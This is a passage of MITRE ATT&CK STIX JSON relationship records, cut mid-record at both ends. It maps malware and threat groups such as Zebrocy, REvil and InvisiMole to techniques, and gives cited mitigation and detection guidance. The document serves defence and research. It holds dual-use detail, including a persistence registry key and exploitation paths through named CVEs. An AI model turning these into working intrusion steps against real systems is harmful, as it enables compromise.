2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T23:01:43.446Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) can use WMI queries to obtain system information.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a0f1273a-e422-4801-a911-e7cb223ebea2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Sednit Part 2","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"}],"modified":"2020-03-16T15:53:20.445Z","description":"[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can list connected devices.(Citation: ESET Sednit Part 2)","relationship_type":"uses","source_ref":"malware--fb575479-14ef-41e9-bfab-0b7cf10bec73","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a0f218db-2d79-43b7-b2b8-ef1199ada766","type":"relationship","created":"2019-02-12T16:33:29.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Zebrocy Nov 2018","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."}],"modified":"2020-01-17T22:26:19.693Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) performs persistence with a logon script via adding to the Registry key HKCU\\Environment\\UserInitMprLogonScript.(Citation: ESET Zebrocy Nov 2018)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a0fade5f-6f66-415d-b078-f7ebf9542a63","created":"2019-01-29T21:47:53.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Micropsia June 2017","description":"Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.","url":"https://blog.talosintelligence.com/2017/06/palestine-delphi.html"},{"source_name":"Radware Micropsia July 2018","description":"Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.","url":"https://www.radware.com/blog/security/2018/07/micropsia-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:08:25.925Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) uses HTTP and HTTPS for C2 network communications.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a0ff37b8-1a73-45dd-a645-fe2a43fad9f6","type":"relationship","created":"2020-08-04T15:35:30.353Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"G Data Sodinokibi June 2019","url":"https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data","description":"Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020."},{"source_name":"Kaspersky Sodin July 2019","url":"https://securelist.com/sodin-ransomware/91473/","description":"Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020."},{"source_name":"Cylance Sodinokibi July 2019","url":"https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html","description":"Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."},{"source_name":"McAfee Sodinokibi October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020."},{"source_name":"Intel 471 REvil March 2020","url":"https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/","description":"Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."},{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2021-04-06T14:42:52.389Z","description":"[REvil](https://attack.mitre.org/software/S0496) can decode encrypted strings to enable execution of commands and payloads.(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a10133d4-069f-4678-bcfb-72aeaa575296","type":"relationship","created":"2020-02-05T16:27:37.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-05T16:27:37.902Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a101f85c-31ca-41af-ac16-c77d585dd8e6","type":"relationship","created":"2020-03-15T15:34:30.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/en-us/library/cc700828.aspx","description":"Microsoft. (2004, February 6). Perimeter Firewall Design. Retrieved April 25, 2016.","source_name":"TechNet Firewall Design"}],"modified":"2021-10-15T22:44:12.124Z","description":"Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network.(Citation: TechNet Firewall Design)","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a106b02a-0a6a-493f-911c-a00576013004","type":"relationship","created":"2020-11-06T18:40:38.303Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf","description":"Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.","source_name":"Cobalt Strike TTPs Dec 2017"}],"modified":"2020-11-06T18:40:38.303Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can query shared drives on the local system.(Citation: Cobalt Strike TTPs Dec 2017)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a107acee-85a7-475c-bb99-c12a379ef2dc","type":"relationship","created":"2022-03-25T14:32:35.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Donut Github","url":"https://github.com/TheWover/donut","description":"TheWover. (2019, May 9). donut. Retrieved March 25, 2022."}],"modified":"2022-03-25T14:32:35.584Z","description":"[Donut](https://attack.mitre.org/software/S0695) code modules use various API functions to load and inject code.(Citation: Donut Github)\t","relationship_type":"uses","source_ref":"tool--a7b5df47-73bb-4d47-b701-869f185633a6","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1086030-ec11-44fe-9965-919a9175f3ea","type":"relationship","created":"2021-01-08T21:10:43.697Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}],"modified":"2021-04-20T15:44:14.226Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has masqueraded as legitimate software including TeamViewer and macOS Finder.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a12a296d-3cdb-4a49-840a-4ecd073b5312","created":"2022-01-07T16:31:01.445Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.681Z","description":"[Axiom](https://attack.mitre.org/groups/G0001) has used VPS hosting providers in targeting of intended victims.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a12a471b-39b2-4abf-80d0-af88d5a4f038","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:13:03.778Z","description":"[Misdat](https://attack.mitre.org/software/S0083) network traffic is Base64-encoded plaintext.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a12ce761-4e08-4fcd-b00a-7b5eb082fda4","type":"relationship","created":"2020-08-25T20:11:53.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA/FBI Drovorub August 2020","url":"https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF","description":"NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}],"modified":"2020-08-25T20:11:53.281Z","description":"[Drovorub](https://attack.mitre.org/software/S0502) can exfiltrate files over C2 infrastructure.(Citation: NSA/FBI Drovorub August 2020)","relationship_type":"uses","source_ref":"malware--99164b38-1775-40bc-b77b-a2373b14540a","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a12e819a-094f-4d20-b666-7d3260eb8996","created":"2022-03-30T14:26:51.860Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).","modified":"2022-04-19T14:09:23.900Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a137a1d7-d40b-4565-8377-98a3065d5fec","created":"2023-08-07T16:06:16.547Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.660Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) can transfer malicious payloads such as ransomware to compromised machines.(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a13feeb0-d376-4460-8335-f86c0f163d4b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-20T15:42:34.403Z","description":"[Socksbot](https://attack.mitre.org/software/S0273) can start SOCKS proxy threads.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e494ad79-37ee-4cd0-866b-299c521d8b94","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a142c98a-6ccc-4f78-9882-e66dd4827cf6","created":"2024-09-25T13:21:55.083Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ready.gov IT DRP","description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.","url":"https://www.ready.gov/business/implementation/IT"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T14:50:10.021Z","description":"Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.","relationship_type":"mitigates","source_ref":"course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b","target_ref":"attack-pattern--1001e0d6-ee09-4dfc-aa90-e9320ffc8fe4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a149c02f-f710-4a4c-b69f-b257cc4bd3c3","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Monitor executed commands and arguments for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a14c0cae-f7da-42d6-ab3c-f11746233e06","type":"relationship","created":"2020-07-16T15:51:25.742Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-10-21T17:38:02.363Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can spread within a network via the BlueKeep (CVE-2019-0708) and EternalBlue (CVE-2017-0144) vulnerabilities in RDP and SMB respectively.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a14c4d34-5a27-419a-b665-e1207ba55ca7","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","source_name":"Microsoft PLATINUM April 2016"}],"modified":"2020-03-19T23:58:28.125Z","description":"[PLATINUM](https://attack.mitre.org/groups/G0068) has used keyloggers that are also capable of dumping credentials.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a152969e-2530-4cb7-acdf-f93b138116d0","type":"relationship","created":"2020-03-27T13:32:37.825Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-16T19:46:03.668Z","description":"Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a1530db3-cb4d-4645-abfa-b669b33340ee","created":"2024-09-17T19:43:53.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Brining MimiKatz to Unix","description":"Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.","url":"https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T19:44:53.774Z","description":"Protect resources with Security Enhanced Linux (SELinux) by defining entry points, process types, and file labels.(Citation: Brining MimiKatz to Unix) ","relationship_type":"mitigates","source_ref":"course-of-action--49c06d54-9002-491d-9147-8efb537fbd26","target_ref":"attack-pattern--394220d9-8efc-4252-9040-664f7b115be6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a156066b-97c8-4e57-a393-048135906b93","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Alterations to the service binary path or the service startup type changed to disabled may be suspicious.","source_ref":"x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1596d76-9ade-4acb-a570-2515f69a706e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://objective-see.com/blog/blog_0x25.html","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"}],"modified":"2020-03-16T17:34:50.167Z","description":"[Proton](https://attack.mitre.org/software/S0279) uses a keylogger to capture keystrokes.(Citation: objsee mac malware 2017)","relationship_type":"uses","source_ref":"malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a15c905a-4932-48d8-aed0-362c0e465efd","type":"relationship","created":"2022-03-30T14:26:51.852Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.852Z","description":"Monitor for newly constructed processes and/or command-lines that can be used instead of invoking cmd (i.e. pcalua.exe, winrs.exe, cscript/wscript.exe, hh.exe, or bash.exe)","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a15d732e-b911-437b-8693-df38c1732780","created":"2024-08-13T20:39:21.765Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"},{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T19:18:28.379Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors renamed [ROADSWEEP](https://attack.mitre.org/software/S1150) to GoXML.exe and [ZeroCleare](https://attack.mitre.org/software/S1151) to cl.exe.(Citation: CISA Iran Albanian Attacks September 2022)(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a15e391d-cc21-484d-839a-b7057ae40179","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Bankshot Dec 2017","description":"US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"}],"modified":"2020-02-18T03:40:29.873Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) uploads files and secondary payloads to the victim's machine.(Citation: US-CERT Bankshot Dec 2017)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a1625ff1-af65-4dbb-b192-3c462fae1acf","type":"relationship","created":"2021-03-04T14:15:16.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft HAFNIUM March 2020","url":"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/","description":"MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."},{"source_name":"Volexity Exchange Marauder March 2021","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 